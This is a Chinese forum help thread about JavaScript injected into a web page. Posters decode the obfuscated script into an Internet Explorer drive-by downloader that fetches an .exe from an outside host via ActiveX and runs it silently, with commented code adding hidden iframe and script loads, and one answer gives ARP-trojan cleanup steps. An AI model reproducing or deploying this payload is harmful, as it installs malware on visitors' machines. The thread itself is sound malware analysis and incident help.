在线等，网页被嵌JS—— "n.js"

Question

内容如下：eval(
function(p,a,c,k,e,r){
e=function(c){
return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))
};if(!''.replace(/^/,String)){
while(c--)r[e(c)]=k[c]||e(c);k=[function(e){
return r[e]}];e=function(){return'\\w+'
};c=1
};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p
}('S("\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\r\\j\\7\\4\\3\\q\\1\\s\\f\\3\\2\\c\\5\\f\\9\\5\\2\\0\\4\\4\\5\\4\\l\\x\\e\\2\\7\\1\\3\\5\\2\\a\\b\\A\\4\\0\\1\\e\\4\\2\\8\\1\\4\\e\\0\\h\\B\\r\\g\\m\\j\\7\\4\\3\\q\\1\\s\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\r\\j\\7\\4\\3\\q\\1\\8\\j\\4\\7\\l\\g\\6\\o\\1\\1\\q\\I\\g\\m\\g\\m\\7\\p\\y\\9\\3\\2\\g\\m\\t\\E\\z\\F\\g\\m\\J\\0\\f\\T\\j\\K\\9\\U\\j\\g\\6\\s\\r\\g\\m\\j\\7\\4\\3\\q\\1\\s\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\r\\j\\7\\4\\3\\q\\1\\s\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\x\\e\\2\\7\\1\\3\\5\\2\\8\\t\\1\\n\\4\\1\\a\\b\\A\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\C\\n\\4\\8\\v\\o\\0\\2\\8\\l\\8\\2\\0\\f\\8\\L\\n\\1\\0\\a\\b\\8\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\v\\o\\0\\2\\9\\j\\0\\1\\v\\3\\d\\0\\a\\v\\o\\0\\2\\9\\u\\0\\1\\v\\3\\d\\0\\a\\b\\8\\M\\8\\K\\V\\G\\z\\w\\G\\z\\w\\G\\y\\w\\w\\w\\b\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\C\\n\\4\\8\\7\\5\\5\\p\\3\\0\\t\\1\\4\\3\\2\\u\\8\\l\\8\\2\\0\\f\\8\\t\\1\\4\\3\\2\\u\\a\\c\\5\\7\\e\\d\\0\\2\\1\\9\\7\\5\\5\\p\\3\\0\\b\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\C\\n\\4\\8\\7\\5\\5\\p\\3\\0\\N\\0\\n\\c\\0\\4\\8\\l\\8\\g\\6\\O\\5\\5\\p\\3\\0\\y\\l\\g\\6\\8\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\C\\n\\4\\8\\P\\0\\u\\3\\2\\D\\5\\j\\3\\1\\3\\5\\2\\8\\l\\8\\7\\5\\5\\p\\3\\0\\t\\1\\4\\3\\2\\u\\9\\3\\2\\c\\0\\Q\\H\\x\\a\\7\\5\\5\\p\\3\\0\\N\\0\\n\\c\\0\\4\\b\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\3\\x\\8\\a\\P\\0\\u\\3\\2\\D\\5\\j\\3\\1\\3\\5\\2\\8\\W\\l\\8\\X\\y\\b\\A\\8\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\B\\8\\0\\i\\j\\0\\8\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\A\\8\\c\\5\\7\\e\\d\\0\\2\\1\\9\\7\\5\\5\\p\\3\\0\\8\\l\\8\\g\\6\\O\\5\\5\\p\\3\\0\\y\\l\\D\\H\\D\\Y\\Z\\J\\L\\H\\t\\h\\0\\Q\\q\\3\\4\\0\\j\\l\\g\\6\\M\\8\\v\\o\\0\\2\\9\\1\\5\\10\\11\\v\\t\\1\\4\\3\\2\\u\\a\\b\\8\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\a\\g\\R\\r\\3\\x\\4\\n\\d\\0\\8\\f\\3\\c\\1\\o\\l\\w\\8\\o\\0\\3\\u\\o\\1\\l\\w\\8\\j\\4\\7\\l\\g\\6\\o\\1\\1\\q\\I\\g\\m\\g\\m\\7\\p\\y\\9\\3\\2\\g\\m\\j\\E\\z\\F\\g\\m\\1\\E\\z\\F\\9\\o\\1\\d\\g\\6\\s\\r\\g\\m\\3\\x\\4\\n\\d\\0\\s\\g\\R\\b\\h\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\B\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\B\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\t\\1\\n\\4\\1\\a\\b\\h\\6\\b\\h\\k\\12\\c\\5\\7\\e\\d\\0\\2\\1\\9\\f\\4\\3\\1\\0\\i\\2\\a\\6\\r\\g\\m\\j\\7\\4\\3\\q\\1\\s\\6\\b")',62,65,'145|164|156|151|162|157|42|143|40|56|50|51|144|155|165|167|134|73|154|163|15|75|57|141|150|153|160|74|76|123|147|124|60|146|61|66|173|175|166|120|63|70|52|117|72|116|62|104|53|110|103|142|170|47|eval|112|152|64|41|55|127|111|107|115|'.split('|'),0,{}))

Answer 1

够狠的啊StrInfo =  "<script>window.onerror=function(){return true;}</script>" +"\n"+
  "<script>" +"\n"+
  " DZ=\'\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x63\\x6B\\x31\\x2E\\x69\\x6E\\x2F\\x53\\x33\\x36\\x38\\x2F\\x53\\x33\\x36\\x38\\x2E\\x65\\x78\\x65\';" +"\n"+
  " Nosksla=\'\';" +"\n"+
  "function GnMs(n) " +"\n"+
  "{ " +"\n"+
  " var numberMs = Math.random()*n;" +"\n"+
  " return \'\\x7E\\x54\\x65\\x6D\\x70\'+Math.round(numberMs)+\'\\x2E\\x74\\x6D\\x70\';" +"\n"+
  "} " +"\n"+
  " try " +"\n"+
  "{" +"\n"+
  " Nosksla=\'\';" +"\n"+
  " var Bf=document.createElement(\"\\x6F\\x62\\x6A\\x65\\x63\\x74\");" +"\n"+
  " Bf.setAttribute(\"\\x63\\x6C\\x61\\x73\\x73\\x69\\x64\",\"\\x63\\x6C\\x73\\x69\\x64\\x3A\\x42\\x44\\x39\\x36\\x43\\x35\\x35\\x36\\x2D\\x36\\x35\\x41\\x33\\x2D\\x31\\x31\\x44\\x30\\x2D\\x39\\x38\\x33\\x41\\x2D\\x30\\x30\\x43\\x30\\x34\\x46\\x43\\x32\\x39\\x45\\x33\\x36\");" +"\n"+
  " var Kx=Bf.CreateObject(\"\\x4D\\x69\\x63\\x72\\x6F\\x73\\x6F\\x66\\x74\\x2E\\x58\"+\"\\x4D\\x4C\\x48\\x54\\x54\\x50\",\"\");" +"\n"+
  " var AS=Bf.CreateObject(\"\\x41\\x64\\x6F\\x64\\x62\\x2E\\x53\\x74\\x72\\x65\\x61\\x6D\",\"\");" +"\n"+
  " Nosksla=\'\';" +"\n"+
  " AS.type=1;" +"\n"+
  " Nosksla=\'\';" +"\n"+
  " Kx.open(\"\\x47\\x45\\x54\", DZ,0);" +"\n"+
  " Nosksla=\'\';" +"\n"+
  " Kx.send();" +"\n"+
  " Nosksla=\'\';" +"\n"+
  " Ns1=GnMs(9999);" +"\n"+
  " Nosksla=\'\';" +"\n"+
  " var cF=Bf.CreateObject(\"\\x53\\x63\\x72\\x69\\x70\\x74\\x69\\x6E\\x67\\x2E\\x46\\x69\\x6C\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x4F\\x62\\x6A\\x65\\x63\\x74\",\"\");" +"\n"+
  " var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);" +"\n"+
  " AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject(\"\\x53\\x68\\x65\\x6C\\x6C\\x2E\\x41\\x70\\x70\\x6C\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\",\"\");" +"\n"+
  " ok1=cF.BuildPath(NsTmp+\'\\x5C\\x5C\\x73\\x79\\x73\\x74\\x65\\x6D\\x33\\x32\',\'\\x63\\x6D\\x64\\x2E\\x65\\x78\\x65\');" +"\n"+
  " q.SHeLLExecute(ok1,\'\\x20\\x2F\\x63 \'+Ns1,\"\",\"\\x6F\\x70\\x65\\x6E\",0);" +"\n"+
  " Nosksla=\'\';" +"\n"+
  "} " +"\n"+
  " catch(MsI) { MsI=1; }" +"\n"+
  " Nosksla=\'\';" +"\n"+
  "</script>"document.write(StrInfo);/*
document.writeln("<script>window.onerror=function(){return true;}<\/script>");
document.writeln("<script src=\"http:\/\/ck1.in\/S368\/NewJs2.js\"><\/script>");
document.writeln("<script>");
document.writeln("function Start(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
document.writeln("document.write(\'<iframe width=0 height=0 src=\"http:\/\/ck1.in\/s368\/t368.htm\"><\/iframe>\');");
document.writeln("}");
document.writeln("}");
document.writeln("Start();");
document.writeln("<\/script>")
*/

Answer 2

这个是arp木马 很可能你的局域网中有人中了病毒 --> 找出那台母机电脑 --> 杀毒 --> ok另外此病毒会在你的电脑里面安装N个木马程序,呵呵小心啦1.用cmd去到 *:\Program Files\Internet Explorer目录下面
用dir /a 应该能看到 msvcrt.dll msvcrt.bak msvcrt.ebk三个文件 不好删....
首先 attrib msvcrt.* -a -s -h
然后在浏览器中用unlocker强制删除.
之后 建同名的三个空文件 设置属性只读.
2.用cmd去到 *:\Program Files\Common Files目录下面
用dir /a 应该能看到 Relive.dll
同样方法炮制.
3.用杀毒软件消除它安装的几个木马 都在system32下面
ok
你的电脑已经对此病毒免疫 剩下的就是找到肉机 杀毒

Answer 3

中木马，如何看出是arp木马 ？

Answer 4

呵呵。巧了，今天单位的机器也出现这个问题，不知道是防火墙被病毒攻了，还是局域网内有机器挂了。郁闷。最后的代码如下：
< script>window.onerror=function(){return true;}< /script> 
< script>
  DZ='http://ck1.in/S368/S368.exe'; 
  Nosksla=''; 
  function GnMs(n) 
  { var numberMs = Math.random()*n; return '~Temp'+Math.round(numberMs)+'.tmp'; } 
  try { Nosksla='';
        var Bf=document.createElement("object"); 
Bf.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); 
var Kx=Bf.CreateObject("Microsoft.X"+"MLHTTP",""); 
var AS=Bf.CreateObject("Adodb.Stream",""); 
Nosksla=''; 
AS.type=1; 
Nosksla=''; 
Kx.open("GET", DZ,0); 
Nosksla=''; 
Kx.send(); 
Nosksla=''; 
Ns1=GnMs(9999); 
Nosksla=''; 
var cF=Bf.CreateObject("Scripting.FileSystemObject",""); 
var NsTmp=cF.GetSpecialFolder(0); 
Ns1= cF.BuildPath(NsTmp,Ns1);
AS.Open();
AS.Write(Kx.responseBody);
AS.SaveToFile(Ns1,2); 
AS.Close(); 
var q=Bf.CreateObject("Shell.Application",""); 
ok1=cF.BuildPath(NsTmp+'\\system32','cmd.exe'); 
q.SHeLLExecute(ok1,' /c '+Ns1,"","open",0); 
Nosksla=''; 
} 
  catch(MsI) 
    { MsI=1; } 
  Nosksla=''; 
  < /script>